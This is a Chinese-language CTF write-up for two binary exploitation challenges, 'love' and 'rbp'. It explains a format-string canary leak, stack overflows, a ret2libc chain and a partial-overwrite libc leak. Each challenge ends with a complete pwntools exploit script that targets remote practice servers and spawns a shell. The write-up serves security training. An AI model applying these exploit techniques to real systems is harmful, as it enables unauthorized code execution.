1.love
64位,开了canary,拖入ida分析
有格式化字符串漏洞,可以泄漏canary 当v5==v4时可进入vuln函数
vuln存在栈溢出漏洞,通过main函数的格式化字符串漏洞实现泄露canary地址,且因为有v6指针指向了v4,用%$n改写v4 为520及可进入vuln,进行栈溢出漏洞泄露system和/bin/sh拿到shell
exp:
from pwn import *
from LibcSearcher import *
from pwnlib import *
import base64
#context.arch="amd64"
sh=remote("node5.anna.nssctf.cn",28836)
#sh=process("./love")
elf=ELF("./love")
libc=ELF("libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
inter=lambda :sh.interactive()
un("Toka\n\n")
puts_got=elf.got['puts']
puts=elf.plt['puts']
pop_rdi=0x00000000004013f3
start=0x40125D
ret=0x4012AF
sd("%15$p%502c%9$n")
canary=int(rv(18),16)
un("level\n\n")
sl("a"*0x28+p64(canary)+"a"*8+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(start))
jz=Jz("puts")
system=jz+libc.sym['system']
bin_sh=jz+libc.search("/bin/sh").next()
print hex(jz)
sl("a"*0x28+p64(canary)+"a"*8+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system))
inter()
2.rbp
在初始化时开启了seccomp_rule_add函数,设置了程序出现溢出时只开启了调用号为59的内核函数,也就是execve函数
通过题名可知使用经典栈迁移来拿shell,但我用了另一种
溢出可以修改返回地址,但需要泄露libc基址,所以要下滑两次到libc_start_main,前两次修改返回地址为vuln地址
下滑到libc_start_main时可修改它的低地址为\x13即可重新返回到main函数,且输出了libc_start_main+240-109的地址,也就获取了libc地址,最后通过onegadget getshell
exp:
from pwn import *
from LibcSearcher import *
from pwnlib import *
import base64
#context.arch="amd64"
sh=remote("node2.anna.nssctf.cn",28698)
#sh=process("./rbp")
elf=ELF("./rbp")
libc=ELF("libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
inter=lambda :sh.interactive()
pop_rdi=0x0000000000401353
start=0x401270
un("try it\n")
sd("a"*0x218+p64(start))
sh.recv()
sd("a"*0x218+p64(start))
sh.recv()
sh.recv()
sd("a"*0x218+"\x13")
un("a"*0x218)
jz=Jz("__libc_start_main")-240+109
print hex(jz)
shell=jz+0xebdb3
sd("a"*0x218+p64(shell))
inter()